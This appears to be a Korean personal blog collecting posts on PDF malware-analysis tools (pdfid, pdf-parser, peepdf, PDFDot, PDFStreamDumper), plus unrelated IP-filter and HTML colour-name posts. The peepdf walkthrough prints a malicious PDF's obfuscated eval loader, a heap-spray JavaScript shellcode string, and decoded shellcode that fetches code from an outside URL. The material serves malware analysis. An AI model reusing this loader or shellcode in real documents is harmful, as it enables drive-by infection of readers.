전체보기
- ff 2022.02.22
- IP-FILTER V1808 RELEASED 2019.01.18
- pdfid.py 2019.01.03
- pdf-parser.py 2019.01.03
- peepdf - PDF Analysis Tool 2019.01.03
- PDFDot PDF 분석 및 시각화 도구 2019.01.03
- PDFStreamDumper:PDF분석도구 2019.01.03
- PDF 분석 툴 모음 2019.01.03
- 전주 미세먼지 지도보기 2018.07.25
- HTML에 사용되는 색이름 2018.07.13
- Red 계열 2018.07.13
- Green 계열 2018.07.13
- Blue 계열 2018.07.13
- Yellow 계열 2018.07.13
- Cyan 계열 2018.07.13
- Magenta 계열 2018.07.13
- 16진수 표기방법 2018.07.13 1
- 채도 100% 2018.07.13
- 채도 80% 2018.07.13
- 채도 60% 2018.07.13
- 채도 40% 2018.07.13
- 채도 20% 2018.07.13
- 명도 100% 2018.07.13
- 명도 80% 2018.07.13
- 명도 60% 2018.07.13
- 명도 40% 2018.07.13
- 명도 20% 2018.07.13
- 선명한(vivid) 톤 2018.07.13
- 밝은(bright) 톤 2018.07.13
- 강한(strong) 톤 2018.07.13
ff
2022. 2. 22. 11:35
IP-FILTER V1808 RELEASED
2019. 1. 18. 12:39
Bogon list - 04.01.19
Fake servers list - 04.01.19
Level 1 list - 04.01.19
Amazon list - 04.01.19
196322 filters loaded
'정보' 카테고리의 다른 글
| 전주 미세먼지 지도보기 (0) | 2018.07.25 |
|---|---|
| 핸드폰 분실시 대처방법 (0) | 2018.07.13 |
pdfid.py
2019. 1. 3. 14:10
This tool is not a PDF parser, but it will scan a file to look for certain PDF keywords, allowing you to identify PDF documents that contain (for example) JavaScript or execute an action when opened. PDFiD will also handle name obfuscation.
The idea is to use this tool first to triage PDF documents, and then analyze the suspicious ones with my pdf-parser.
An important design criterium for this program is simplicity. Parsing a PDF document completely requires a very complex program, and hence it is bound to contain many (security) bugs. To avoid the risk of getting exploited, I decided to keep this program very simple (it is even simpler than pdf-parser.py).
PDFiD will scan a PDF document for a given list of strings and count the occurrences (total and obfuscated) of each word:
- obj
- endobj
- stream
- endstream
- xref
- trailer
- startxref
- /Page
- /Encrypt
- /ObjStm
- /JS
- /JavaScript
- /AA
- /OpenAction
- /JBIG2Decode
- /RichMedia
- /Launch
- /XFA
Almost every PDF documents will contain the first 7 words (obj through startxref), and to a lesser extent stream and endstream. I’ve found a couple of PDF documents without xref or trailer, but these are rare (BTW, this is not an indication of a malicious PDF document).
/Page gives an indication of the number of pages in the PDF document. Most malicious PDF document have only one page.
/Encrypt indicates that the PDF document has DRM or needs a password to be read.
/ObjStm counts the number of object streams. An object stream is a stream object that can contain other objects, and can therefor be used to obfuscate objects (by using different filters).
/JS and /JavaScript indicate that the PDF document contains JavaScript. Almost all malicious PDF documents that I’ve found in the wild contain JavaScript (to exploit a JavaScript vulnerability and/or to execute a heap spray). Of course, you can also find JavaScript in PDF documents without malicious intend.
/AA and /OpenAction indicate an automatic action to be performed when the page/document is viewed. All malicious PDF documents with JavaScript I’ve seen in the wild had an automatic action to launch the JavaScript without user interaction.
The combination of automatic action and JavaScript makes a PDF document very suspicious.
/JBIG2Decode indicates if the PDF document uses JBIG2 compression. This is not necessarily and indication of a malicious PDF document, but requires further investigation.
/RichMedia is for embedded Flash.
/Launch counts launch actions.
/XFA is for XML Forms Architecture.
A number that appears between parentheses after the counter represents the number of obfuscated occurrences. For example, /JBIG2Decode 1(1) tells you that the PDF document contains the name /JBIG2Decode and that it was obfuscated (using hexcodes, e.g. /JBIG#32Decode).
Because PDFiD is just a string scanner (supporting name obfuscation), it will also generate false positives. For example, a simple text file starting with %PDF-1.1 and containing words from the list will also be identified as a PDF document.
Download:
MD5: 9B835D9E934A7AA7E68C3649A7AA5DAF
SHA256: 4DD43D7BDA885C5A579FC1F797E93A536E1DB5A4AB52A9337759A69D3B0250E0
'PDF' 카테고리의 다른 글
| pdf-parser.py (0) | 2019.01.03 |
|---|---|
| peepdf - PDF Analysis Tool (0) | 2019.01.03 |
| PDFDot PDF 분석 및 시각화 도구 (0) | 2019.01.03 |
| PDFStreamDumper:PDF분석도구 (0) | 2019.01.03 |
| PDF 분석 툴 모음 (0) | 2019.01.03 |
pdf-parser.py
2019. 1. 3. 14:10
This tool will parse a PDF document to identify the fundamental elements used in the analyzed file. It will not render a PDF document. The code of the parser is quick-and-dirty, I’m not recommending this as text book case for PDF parsers, but it gets the job done.
The stats option display statistics of the objects found in the PDF document. Use this to identify PDF documents with unusual/unexpected objects, or to classify PDF documents. For example, I generated statistics for 2 malicious PDF files, and although they were very different in content and size, the statistics were identical, proving that they used the same attack vector and shared the same origin.
The search option searches for a string in indirect objects (not inside the stream of indirect objects). The search is not case-sensitive, and is susceptible to the obfuscation techniques I documented (as I’ve yet to encounter these obfuscation techniques in the wild, I decided no to resort to canonicalization).
filter option applies the filter(s) to the stream. For the moment, only FlateDecode is supported (e.g. zlib decompression).
The raw option makes pdf-parser output raw data (e.g. not the printable Python representation).
objects outputs the data of the indirect object which ID was specified. This ID is not version dependent. If more than one object have the same ID (disregarding the version), all these objects will be outputted.
reference allows you to select all objects referencing the specified indirect object. This ID is not version dependent.
type allows you to select all objects of a given type. The type is a Name and as such is case-sensitive and must start with a slash-character (/).
MD5: 27D65A96FEAF157360ACBBAAB9748D27
SHA256: 3F102595B9EAE5842A1B4723EF965344AE3AB01F90D85ECA96E9678A6C7092B7
- -f 옵션은 복호화를 하고 -w옵션은 개행을 처리해 화면에 보여준다.
>pdf-parser.py d:\test.pdf -o 3 -f -w
obj 3 0
Type:
Referencing: 4 0 R
Contains stream
<<
/Filter /FlateDecode
/Length 4 0 R
>>
q
50 0 0 50 0 50 cm
/Im1 Do
Q
'PDF' 카테고리의 다른 글
| pdfid.py (0) | 2019.01.03 |
|---|---|
| peepdf - PDF Analysis Tool (0) | 2019.01.03 |
| PDFDot PDF 분석 및 시각화 도구 (0) | 2019.01.03 |
| PDFStreamDumper:PDF분석도구 (0) | 2019.01.03 |
| PDF 분석 툴 모음 (0) | 2019.01.03 |
peepdf - PDF Analysis Tool
2019. 1. 3. 14:10
peepdf - PDF Analysis Tool
What is this?
peepdf is a Python tool to explore PDF files in order to find out if the file can be harmful or not. The aim of this tool is to provide all the necessary components that a security researcher could need in a PDF analysis without using 3 or 4 tools to make all the tasks. With peepdf it's possible to see all the objects in the document showing the suspicious elements, supports the most used filters and encodings, it can parse different versions of a file, object streams and encrypted files. With the installation of PyV8 and Pylibemu it provides Javascript and shellcode analysis wrappers too. Apart of this it is able to create new PDF files, modify existent ones and obfuscate them.
Usage
Usage: ./peepdf.py [options] PDF_file
Options:
-h, --help show this help message and exit
-i, --interactive Sets console mode.
-s SCRIPTFILE, --load-script=SCRIPTFILE
Loads the commands stored in the specified file and
execute them.
-c, --check-vt Checks the hash of the PDF file on VirusTotal.
-f, --force-mode Sets force parsing mode to ignore errors.
-l, --loose-mode Sets loose parsing mode to catch malformed objects.
-m, --manual-analysis
Avoids automatic Javascript analysis. Useful with
eternal loops like heap spraying.
-u, --update Updates peepdf with the latest files from the
repository.
-g, --grinch-mode Avoids colorized output in the interactive console.
-v, --version Shows program's version number.
-x, --xml Shows the document information in XML format.
$ ./peepdf.py -i
PPDF> help
Documented commands (type help <topic>):
========================================
bytes errors js_eval open sctest
changelog exit js_join quit search
create filters js_unescape rawobject set
decode hash log rawstream show
decrypt help malformed_output references stream
embed info metadata replace tree
encode js_analyse modify reset vtcheck
encode_strings js_beautify object save xor
encrypt js_code offsets save_version xor_search
How does it work?
* How can I execute the tool?
The basic syntax is:
$ ./peepdf.py pdf_file
But you can use the -f option to avoid errors and to force the tool to ignore them:
$ ./peepdf.py fcexploit.pdf
Error: Missing /Length in stream object!
$ ./peepdf.py -f fcexploit.pdf
File: fcexploit.pdf
MD5: 659cf4c6baa87b082227540047538c2a
SHA1: a93bf00077e761152d4ff8a695c423d14c9a66c9
Size: 25169 bytes
Version: 1.3
Binary: True
Linearized: False
Encrypted: False
Updates: 0
Objects: 18
Streams: 5
Comments: 0
Errors: 1
Version 0:
Catalog: 27
Info: 11
Objects (18): [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 22, 23, 24, 25, 26, 27, 28]
Errors (2): [11, 25]
Streams (5): [5, 7, 9, 10, 11]
Encoded (4): [5, 7, 9, 10]
Objects with JS code (1): [5]
Suspicious elements:
/OpenAction: [1]
/JS: [4]
/JavaScript: [4]
getAnnots (CVE-2009-1492): [5]
That's the default output, if you really want to explore and play with the PDF file use the interactive console (-i). These are some of the common commands:
* The tree command shows the logical structure of the file:
PPDF> tree
/Catalog (1)
/Fields (5)
array (2)
/JavaScript (7)
/Names (10)
/Action /JavaScript (12)
stream (13)
/Pages (4)
/Page (9)
/Pages (4)
stream (11)
/ProcSet (8)
/ProcSet (8)
/Outlines (3)
dictionary (6)
/Info (14)
* To view the physical structure of the file you will have to use the offsets command:
PPDF> offsets
0 Header
17
Object 1 (260)
276
279
Object 2 (19)
297
300
Object 3 (48)
347
350
Object 4 (78)
427
430
Object 5 (33)
462
465
Object 6 (21)
485
488
Object 7 (41)
528
531
Object 8 (68)
598
601
Object 9 (187)
787
790
Object 10 (52)
841
844
Object 11 (85)
928
931
Object 12 (50)
980
983
Object 13 (1823)
2805
2808
Object 14 (204)
3011
3014
Xref Section (325)
3338
3341
Trailer (69)
3409
3410 EOF
* With the metadata command you can see the metadata information in each version of the document:
PPDF> metadata
Info Object in version 0:
/Title
/ModDate 2008312053854
/CreationDate 2008312053854
/Producer Scribus PDF Library 1.3.3.12
/Trapped /False
/Creator Scribus 1.3.3.12
/Keywords
/Author
* The command rawobject shows the different objects without decodings, while the object command shows the content after the decoding process:
PPDF> object 1
/AcroForm 5 0 R
/Threads 2 0 R
/Names 7 0 R
/OpenAction <</S /JavaScript
/JS (this.uSQXcfcd2())>>
/Pages 4 0 R
/Outlines 3 0 R
/Type /Catalog
/PageLayout /SinglePage
/Dests 6 0 R
/ViewerPreferences <</PageDirection /L2R>>
PPDF> rawobject 1
1 0 obj
<< /#41#63#72#6f#46#6f#72#6d 5 0 R
/#54#68#72#65#61#64#73 2 0 R
/#56#69#65#77#65#72#50#72#65#66#65#72#65#6e#63#65#73 << /#50#61#67#65#44#69#72#65#63#74#69#6f#6e /#4c#32#52 >>
/#4f#70#65#6e#41#63#74#69#6f#6e << /#53 /#4a#61#76#61#53#63#72#69#70#74
/#4a#53 (\164\150\151\163\056\165\123\121\130\143\146\143\144\062\050\051) >>
/#50#61#67#65#73 4 0 R
/#4f#75#74#6c#69#6e#65#73 3 0 R
/#54#79#70#65 /#43#61#74#61#6c#6f#67
/#50#61#67#65#4c#61#79#6f#75#74 /#53#69#6e#67#6c#65#50#61#67#65
/#44#65#73#74#73 6 0 R
/#4e#61#6d#65#73 7 0 R >>
endobj
* The same idea is used with the streams:
PPDF> stream 13
function nofaq(lgc){var ppwsd="";for(rxr=0;rxr<lgc.length;rxr+=2){ppwsd+=(String.fromCharCode(parseInt(lgc.substr(rxr,5),19)));}eval(ppwsd);}nofaq("0D0A6452601D6 24C2B445F493F671D341D5F56651D38606052672223320D0A57635F54625A5G5F1D5D46494B3A223C2H30673 9261D42446438644523690D0A1D1D65595A5D561D223C2H306739285D565F5862591D241D2C1D331D4244643 8644523690D0A1D1D1D1D3C2H3067391D25341D3C2H306739320D0A1D1D6B0D0A1D1D3C2H3067391D341D3C2 H306739286163536162605A5F58222A261D4244643864451D291D2C23320D0A1D1D60566263605F1D3C2H306 739320D0A6B0D0A57635F54625A5G5F1D4D4A4D5G594E485522533956493F5823690D0A6452601D424840642 H39441D341D2A662A542A542A542A54320D0A1D1D1D1D1D1D605H5A574A58571D341D635F566154525H56221 F1I632E2D2E2D1I632E2D2E2D1I632A5756531I632D2D2F531I632G2G54301I632I2A53301I632I2A2A2B1I6 356572D2D1F1D250D0A1F1I63562C2E2D1I63565357521I63562I2A2F1I63575756541I63575757571I632I5 32H571I6355572E561I63565756571I632G2E56571I63562D52571I6330572G2E1I632E26161 ...
PPDF> rawstream 13
78 9c 95 58 5b 4f dd 46 10 fe 2b 11 4f 1c 25 8a |x..X[O.F..+.O.%.|
ec d9 8b 6d 51 1e 7c 39 6b fb b9 bf 80 a6 40 a2 |...mQ.|9k.....@.|
a6 d0 02 49 95 46 fd ef fd 66 af 5e db e7 90 c8 |...I.F...f.^....|
02 96 f5 ec 37 f7 99 1d df 7d 79 f8 f0 f2 e9 f1 |....7....}y.....|
e1 cd c3 e3 dd cd df 97 9f ef 3f 1c be 7f bd 79 |..........?...y|
7a f3 fc cf b7 6f 7f 5c 5f 5c 5c dd 3d 3e 5d be |z....o\_\\.=>].|
fc fb 72 5d 5c e1 f7 2f 78 ff fe f3 ed c3 fd cb |..r]\../x.......|
47 fe f7 ed 35 1d be 5b ca b7 d7 97 bf be 3c 7d |G...5..[......<}|
...
* Other useful command is references, very helpful to know where an object is referenced and the references in an object:
PPDF> references to 12
[10]
PPDF> rawobject 10
10 0 obj
<</Names [(New_Script) 12 0 R]
>>
endobj
PPDF> references in 12
['13 0 R']
* If there are some objects with Javascript code in their content you can use the JS commands (PyV8 required) to analyze them (js_eval, js_join, js_unescape, js_analyse):
PPDF> js_analyse object 13
Javascript code:
var tX1PnUHy = new Array();
function lRUWC(E79yB, NPvAvQ){
while (E79yB.length * 2 < NPvAvQ){
E79yB += E79yB;
}
E79yB = E79yB.substring(0, NPvAvQ / 2);
return E79yB;
}
function YVYohZTd(bBeUHg){
var NTLv7BP = 0x0c0c0c0c;
rpifVgf = unescape("%u4343%u4343%u0feb%u335b%u66c9%u80b9%u8001%uef33" +
"%ue243%uebfa%ue805%uffec%uffff%u8b7f%udf4e%uefef%u64ef%ue3af%u9f64%u42f3%u9f64"+ "%u6ee7%uef03%uefeb%u64ef%ub903%u6187%ue1a1%u0703%uef11%uefef%uaa66%ub9eb%u7787"+ "%u6511%u07e1%uef1f%uefef%uaa66%ub9e7%uca87%u105f%u072d%uef0d%uefef%uaa66%ub9e3"+ "%u0087%u0f21%u078f%uef3b%uefef%uaa66%ub9ff%u2e87%u0a96" +
"%u0757%uef29%uefef%uaa66%uaffb%ud76f%u9a2c%u6615%uf7aa%ue806%uefee%ub1ef%u9a66"+ "%u64cb%uebaa%uee85%u64b6%uf7ba%u07b9%uef64%uefef%u87bf%uf5d9%u9fc0%u7807%uefef"+ "%u66ef%uf3aa%u2a64%u2f6c%u66bf%ucfaa%u1087%uefef%ubfef%uaa64%u85fb%ub6ed%uba64"+ "%u07f7%uef8e%uefef%uaaec%u28cf%ub3ef%uc191%u288a%uebaf..."
Unescaped bytes:
43 43 43 43 eb 0f 5b 33 c9 66 b9 80 01 80 33 ef |CCCC..[3.f....3.|
43 e2 fa eb 05 e8 ec ff ff ff 7f 8b 4e df ef ef |C..........N...|
ef 64 af e3 64 9f f3 42 64 9f e7 6e 03 ef eb ef |.d..d..Bd..n....|
ef 64 03 b9 87 61 a1 e1 03 07 11 ef ef ef 66 aa |.d...a........f.|
eb b9 87 77 11 65 e1 07 1f ef ef ef 66 aa e7 b9 |...w.e......f...|
87 ca 5f 10 2d 07 0d ef ef ef 66 aa e3 b9 87 00 |.._.-.....f.....|
21 0f 8f 07 3b ef ef ef 66 aa ff b9 87 2e 96 0a |!...;...f.......|
57 07 29 ef ef ef 66 aa fb af 6f d7 2c 9a 15 66 |W.)...f...o.,..f|
aa f7 06 e8 ee ef ef b1 66 9a cb 64 aa eb 85 ee |........f..d....|
b6 64 ba f7 b9 07 64 ef ef ef bf 87 d9 f5 c0 9f |.d....d.........|
07 78 ef ef ef 66 aa f3 64 2a 6c 2f bf 66 aa cf |.x...f..d*l/.f..|
87 10 ef ef ef bf 64 aa fb 85 ed b6 64 ba f7 07 |......d.....d...|
8e ef ef ef ec aa cf 28 ef b3 91 c1 8a 28 af eb |.......(.....(..|
97 8a ef ef 10 9a cf 64 aa e3 85 ee b6 64 ba f7 |.......d.....d..|
07 af ef ef ef 85 e8 b7 ec aa cb dc 34 bc bc 10 |............4...|
9a cf bf bc 64 aa f3 85 ea b6 64 ba f7 07 cc ef |....d.....d.....|
ef ef 85 ef 10 9a cf 64 aa e7 85 ed b6 64 ba f7 |.......d.....d..|
07 ff ef ef ef 85 10 64 aa ff 85 ee b6 64 ba f7 |.......d.....d..|
07 ef ef ef ef ae b4 bd ec 0e ec 0e ec 0e ec 0e |................|
6c 03 eb b5 bc 64 35 0d 18 bd 10 0f ba 64 03 64 |l....d5......d.d|
92 e7 64 b2 e3 b9 64 9c d3 64 9b f1 97 ec 1c b9 |..d...d..d......|
64 99 cf ec 1c dc 26 a6 ae 42 ec 2c b9 dc 19 e0 |d.....&..B.,....|
51 ff d5 1d 9b e7 2e 21 e2 ec 1d af 04 1e d4 11 |Q......!........|
b1 9a 0a b5 64 04 64 b5 cb ec 32 89 64 e3 a4 64 |....d.d...2.d..d|
b5 f3 ec 32 64 eb 64 ec 2a b1 b2 2d e7 ef 07 1b |...2d.d.*..-....|
11 10 10 ba bd a3 a2 a0 a1 ef 68 74 74 70 3a 2f |..........http:/|
2f 62 69 6b 70 61 6b 6f 63 2e 63 6e 2f 6e 75 63 |/bikpakoc.cn/nuc|
2f 65 78 65 2e 70 68 70 |/exe.php|
URLs in shellcode:
http://bikpakoc.cn/nuc/exe.php
'PDF' 카테고리의 다른 글
| pdfid.py (0) | 2019.01.03 |
|---|---|
| pdf-parser.py (0) | 2019.01.03 |
| PDFDot PDF 분석 및 시각화 도구 (0) | 2019.01.03 |
| PDFStreamDumper:PDF분석도구 (0) | 2019.01.03 |
| PDF 분석 툴 모음 (0) | 2019.01.03 |
PDFDot PDF 분석 및 시각화 도구
2019. 1. 3. 14:09
설명
PDF(Portable Document Format) 파일은 어도비 시스템즈에서 개발한 전자 문서 형식이다. 컴퓨터 환경에 관계없이 같은 표현을 하기 위한 목적으로 개발되었으며 장치 독립성 및 해상도 독립성을 가지고 있다. 상당수의 파일들이 이 형식으로 변환되어 사용되고 있다.
많은 사용자들이 사용하는 파일 포맷이다보니 취약점 공격도 꾸준히 나오고 있다. PDF 파일 포맷은 그 내부가 복잡하지는 않지만, 분석하기에는 무척 까다로운 비정형화 된 형식으로 구성되어 있다. 따라서 PDF 파일 분석이 용이하면서 한 눈에 PDF 구조를 시각화 할 필요가 있어 PDFDot 도구를 개발하게 되었다.
주요 기능
v0.23 (2013/10/24)
1. 스트림만 가진 오브젝트 출력 기능 (–stream 옵션)
2. 문자열 검색 기능 (-s 옵션)
v0.22 (2013/10/10)
1. 압축 해제 필터 인식 기능 강화
v0.21 (2013/10/07)
1. 다양한 압축 해제 필터 지원
(FlateDecode, ASCIIHexDecode, ASCII85Decode, LZWDecode, RunLengthDecode)
v0.2 (2013/10/01)
1. PDF trailer 추적 기능
2. Root Object 추출 (-r 옵션)
3. PDF 파일 포맷 중 점진적 업데이트 추적 기능 지원
v0.1 (2013/09/27)
1. PDF 오브젝트 추적 기능 (시각화 지원)
2. PDF 오브젝트 스트림 추출
3. PDF 오브젝트 압축 해제 지원 (FlateDecode만 지원)
사용법
PDF 파일은 다양한 오브젝트가 존재하며 이들의 참조로 구성이 되어 있다. 각각의 오브젝트들은 자신의 Type과 다양한 속성값 및 스트림을 포함하기도 한다. 대체로 악성코드들은 앞에서 언급한 오브젝트의 스트림으로 존재하는 경우가 대부분이다(물론 최악의 경우에는 스트림이 SWF 파일 포맷을 가지고, SWF 파일 내부의 ActionScript 형태로 가지는 경우도 있다).
분석을 위해 준비한 test.pdf 파일은 다음과 같다.
이제 PDFDot 프로그램을 통해서 test.pdf 파일의 오브젝트 구조를 살펴보도록 하겠다. 우선 PDFDot은 아래 링크에서 다운로드 받을 수 있다.
pdfdot_v0.23.zip : 958ab7ab0899f0ec9c146381f5aad53d
분석하고자 하는 PDF 파일을 PDFDot 프로그램의 인자값으로 넣어주는데 대체로 PDF의 루트(Root) 오브젝트는 1번 오브젝트이다. PDFDot 버전 0.20 이상 버전에서는 -r 옵션을 통해 루트(Root) 오브젝트를 확인할 수 있다.
C:\> pdfdot.exe test.pdf -r
이제 제일 먼저 분석해야 할 대상은 1번 오브젝트이다. 따라서 -o 옵션을 사용하여 1번 오브젝트를 지정하면 다음과 같은 화면이 나온다.
C:\> pdfdot.exe test.pdf -o1
PDF 파일을 분석하는데 있어서 가장 중요한 부분은 PDF 내부 참조 구조를 정확히 파악하는 것이 중요하다. 즉, 위 그림을 보면 오브젝트 1번은 2번과 4번 오브젝트를 참조하고 있다는 사실이다.
이제 -o 옵션의 숫자 값을 바꿔가면서 오브젝트의 참조 내용을 확인해보면 이를 간략히 표현하면 다음과 같은 형태가 될 것이다.
위의 그림은 수작업으로 PDF 구조를 그려본 것이다. 이렇게 보면 한눈에 PDF 내부 구조를 쉽게 알 수 있다. 하지만, 매번 PDF를 분석할 때마다 이 구조를 수작업으로 한다는 것은 무리가 있다. 그래서 PDFDot 프로그램에는 이를 자동으로 그려주는 -g 옵션이다.
우선 -g 옵션을 사용하기 위해서는 그래프를 그리기 위한 별도의 외부 프로그램인 Graphviz가 필요하다. 따라서 아래의 사이트에서 윈도우용 설치 프로그램을 다운로드 받아 설치한 다음 -g 옵션을 사용할 수 있다.
Graphviz가 설치 되었다면 다음과 같이 명령어를 입력해본다.
C:\> pdfdot.exe test.pdf -g test_pdf.png
이 명령어가 정상적으로 실행되었다면 test_pdf.png 파일이 생성될 것이며, 파일을 열어보면 아래와 같은 PDF 내부 구조를 보여주게 된다.
PDFDot 프로그램을 사용하여 PDF 내부 구조를 출력해보면 빨간색의 오브젝트 박스와 검은색의 오브젝트 박스를 볼 수 있다. 이 중에서 빨간색 오브젝트 박스에 주목해야 한다. 바로 악성코드가 존재할 가능성이 있는 오브젝트들을 표현하고 있기 때문이다.
앞서 PDF 악성코드들은 대체로 오브젝트의 스트림 형식으로 저장되어 있다고 하였다. 지금 이 PDF 내부 구조를 보면 문제의 오브젝트들은 1번, 4번, 5번, 7번번 9번이다. 따라서 이들 오브젝트들을 다시 -o 옵션을 사용하여 살펴본다.
그중에서 오브젝트 5번을 살펴보자.
C:\> pdfdot.exe test.pdf -o5
위 그림에서 확인할 수 있듯이 오브젝트 5번에는 281 Byte의 스트림이 포함되어 있으며, 압축되어 있는 상태이다. 이 스트림을 추출해보자. 추출하기 위해서는 -d 옵션을 사용하면 된다.
C:\> pdfdot.exe test.pdf -o5 -d obj5.dmp
이렇게 스트림을 추출하면 압축된 상태로 추출되므로 압축을 해제해야 한다. 압축 여부를 확인하는 방법은 오브젝트의 내용중 /Filter로 표현이 되어 있다면 압축된 형태라고 보면 되겠다(물론 압축이 아닌 경우도 있다). 따라서 압축을 해제 하기 위해서 -f 옵션을 함께 지정하면 압축 해제된 스트림을 얻을 수 있다. 하지만, /Filter로 지정되어 있지 않다면 -f 옵션을 사용해서는 안된다.
자, 이제 -f 옵션까지 사용하여 스트림으로 추출된 obj5.dmp 파일을 열어보자.
C:\> pdfdot.exe test.pdf -o5 -d obj5.dmp -f
그림에서 보는 것처럼 자바스크립트가 오브젝트 5번의 스트림으로 저장되어 있었다. 같은 방법으로 오브젝트 7번과 9번도 스트림을 추출해본다.
C:\> pdfdot.exe test.pdf -o7 -d obj7.dmp -fC:\> pdfdot.exe test.pdf -o9 -d obj9.dmp -f
자바스크립트는 아니지만 ASCII로 구성된 내용을 확인할 수 있다. 오브젝트 5번의 자바스크립트가 오브젝트 7번과 9번 스트림 내용을 다시 복호화 하는 과정을 거치게 된다.
사실 이후부터는 자바스크립트에 대한 내용이라 여기서 소개하는 PDF의 분석 내용에서 벗어나는 주제이므로 생략하기로 한다.
지금까지 간단하게 PDFDot을 이용하여 PDF의 내부 구조를 시각화 하고 그중 악성코드로 의심되는 오브젝트를 선별한 다음 스트림 추출을 통해 악성코드를 진행하는 것을 살펴보았다. 분석을 하다보면 이 보다 더 다양한 형태의 PDF를 보게 되겠지만, 거의 대체로가 이런 순서를 통해 PDF 악성코드를 분석하게 된다.
위 글에 대해 별도의 문의 사항이 있다면 hanul93@gmail.com으로 메일 보내주시기 바란다.
출처 : www.nurilab.com
'PDF' 카테고리의 다른 글
| pdfid.py (0) | 2019.01.03 |
|---|---|
| pdf-parser.py (0) | 2019.01.03 |
| peepdf - PDF Analysis Tool (0) | 2019.01.03 |
| PDFStreamDumper:PDF분석도구 (0) | 2019.01.03 |
| PDF 분석 툴 모음 (0) | 2019.01.03 |
PDFStreamDumper:PDF분석도구
2019. 1. 3. 14:08
※ 주의사항
아래 공격 코드는 연구 목적으로 작성된 것이며, 허가 받지 않은 공간에서는 테스트를 절대 금지합니다.
악의 적인 목적으로 이용할 시 발생할 수 있는 법적 책임은 자신한테 있습니다. 이는 해당 글을 열람할 때 동의하였다는 것을 의미합니다.
해당 문서의 저작권은 해당 저자에게 모두 있습니다. 외부에 공개시 법적 조치가 가해질 수 있습니다.
pyew에 포함되어 있는 콘솔환경 도구(pdfid, pdfparser 등)가 아닌 PDF악성코드 분석 대표적인 도구인 PDFStreamDumper를 활용하겠다. PDFStreamDumper는 로우포멧에서 PDF 파일을 파싱하고 분석할 수 있도록 구성된 도구이다. 도구의 주요 기능은 아래와 같이 포함되어 있으며 이외에도 많은 플러그인형태 기능이 포함되어 있다.
- 모든 PDF오브젝트를 분석
- 압축되어 있는 스트림값들을 분석
- 파일 오프셋(offset), 헤더 등 스트림 상세내역 분석
- AS3 Sorcerer를 이용하여 플래시 액션스크립트 3를 복원 가능
- 인코드되어 있는 PDF헤더들을 복호화 가능
- 스트림값들 안에 문자열들을 검색 가능
- 헥스 덤프파일들로 스트림값들 확인 가능
- 암호화되어 있는 PDF파일을 복호화
- js beautifier를 이용하여 자바스크립트 포멧으로 변환
- 난독화 되어 있는 자바스크립트 함수들, 인자값들을 다시 정의하여 표시
PDFStremDumper 프로그램은 친절하게 마지막 메뉴 Help_Videos에 메뉴얼 동영상을 링크걸어두었다. 프로그램 소개부터 활용하는 것까지 동영상 강의 형식으로 제공하기 때문에 사용을 할 시에 동영상을 참고하여 기능을 습득해보자.
그림 37 PDFStreamDumper 도움말 동영상 다운로드
문자열에서 악의적으로 이용되는 스크립트를 발견하였지만, 이문자열을 바로 분석하기에는 어려움이 발생한다. 상단에 Javascript_UI를 클릭하면 스크립트 분석용 윈도우가 나타난다.
그림 38 PDFStreamDumper를 활용한 코드 분석
정리가 되지 않은 스크립트를 상태에서 상단의 Format_Javascript를 클릭하면 스크립트 문법에 맞게 함수와 변수 및 제어문들이 분석할 수 있는 수준까지 정리가 된다. 여기에서 Exploit_Scan을 클릭하면 취약점 데이터베이스와 비교를 하여 해당 스크립트를 사용하고 있는 취약점들에 대한 목록을 출력한다. PDF파일은 이와 같이 손쉽게 취약점 여부를 판단할 수 있다.
그림 39 PDFStreamDumper를 활용한 자바스크립트 분석
공격 스크립트가 포함된 다른 PDF문서도 분석을 한 결과, 취약점에 대한 정보가 한번에 나타난다.
그림 310 PDFStreamDumper를 활용한 Exploit정보 확인
Shellcode_Analysis > Shellcode2 Exe를 이용하여 파일내 악성코드 바이너리 파일을 분류한다. 생성된 EXE파일을 바이러스토탈 서비스를 통해 분석하면 대부분 벤더사에서 악성코드로 판별을 한다.
그림 311 스크립트내에서 확인한 Shellcode 저장
그림 312 스크립트내에서 확인한 Shellcode 저장
출처: http://blog.naver.com/PostView.nhn?blogId=chogar&logNo=80195561205
'PDF' 카테고리의 다른 글
| pdfid.py (0) | 2019.01.03 |
|---|---|
| pdf-parser.py (0) | 2019.01.03 |
| peepdf - PDF Analysis Tool (0) | 2019.01.03 |
| PDFDot PDF 분석 및 시각화 도구 (0) | 2019.01.03 |
| PDF 분석 툴 모음 (0) | 2019.01.03 |
PDF 분석 툴 모음
2019. 1. 3. 13:35
pdftk 자료 : https://www.pdflabs.com/docs/pdftk-cli-examples/
참고 자료 : http://god2zuzu.blog.me/220163726560
누리웹의 PDF 분석 특강
PDF 분석 및 시각화 도구
pdfdot_v0.24b.ziphttps://www.nurilab.net/pdfdot )
PDF 분석.pdf로우포멧에서 PDF 파일을 파싱하고 분석할 수 있도록 구성된 도구이다
PDF문서가가진특징적인id를축약기술하는도구
PDF문서가링크정보를추적핛수있는도구
pdftk_server-2.02-win-setup.exe'PDF' 카테고리의 다른 글
| pdfid.py (0) | 2019.01.03 |
|---|---|
| pdf-parser.py (0) | 2019.01.03 |
| peepdf - PDF Analysis Tool (0) | 2019.01.03 |
| PDFDot PDF 분석 및 시각화 도구 (0) | 2019.01.03 |
| PDFStreamDumper:PDF분석도구 (0) | 2019.01.03 |
전주 미세먼지 지도보기
2018. 7. 25. 17:19
'정보' 카테고리의 다른 글
| IP-FILTER V1808 RELEASED (0) | 2019.01.18 |
|---|---|
| 핸드폰 분실시 대처방법 (0) | 2018.07.13 |
HTML에 사용되는 색이름
2018. 7. 13. 23:25
| red 빨강 | #FF0000 | |
| crimson 짙게붉은색깔 | crimson (#DC143C) | |
| firebrick 내화 | firebrick (#B22222) | |
| maroon 붉은빛을띤갈색 | maroon (#800000) | |
| darkred 어두운빨강 | darkred (#8B0000) | |
| brown 갈색 | brown (#A52A2A) | |
| sienna 붉은빛을띤갈색 | sienna (#A0522D) | |
| saddlebrown 안장갈색 | saddlebrown (#8B4513) | |
| indianred 인디언빨강 | indianred (#CD5C5C) | |
| rosybrown 장미빛갈색 | rosybrown (#BC8F8F) | |
| lightcoral 밝은산호빛 | lightcoral (#F08080) | |
| salmon 주황색 | salmon (#FA8072) | |
| darksalmon 어두운주황색 | darksalmon (#E9967A) | |
| coral 산호빛 | coral (#FF7F50) | |
| tomato 토마토색 | tomato (#FF6347) | |
| sandybrown 엷은갈색 | sandybrown (#F4A460) | |
| lightsalmon 밝은주황색 | lightsalmon (#FFA07A) | |
| peru 남미서부의공화국 | peru (#CD853F) | |
